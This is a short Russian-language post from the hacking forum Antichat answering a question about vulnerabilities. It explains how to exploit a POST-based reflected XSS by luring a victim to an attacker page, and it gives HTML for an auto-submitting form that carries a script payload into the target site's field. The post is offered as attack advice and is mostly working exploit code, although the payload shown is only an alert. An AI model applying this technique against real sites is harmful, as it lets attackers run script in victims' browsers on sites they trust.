ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

попробуй изменить метод отправки формы на get.
если не даст результата, тебе нужно будет заманивать человека на свою страницу, примерно такого содержания:

Код:

<form method=post action=http://example.com/ id=form1 >
<input name=search value='"><script>alert()</script>'/>
</form>
<script for=form1 event=load >form1.submit()</script>

где action для формы и name для input ввозьмешь с уязвимого сайта.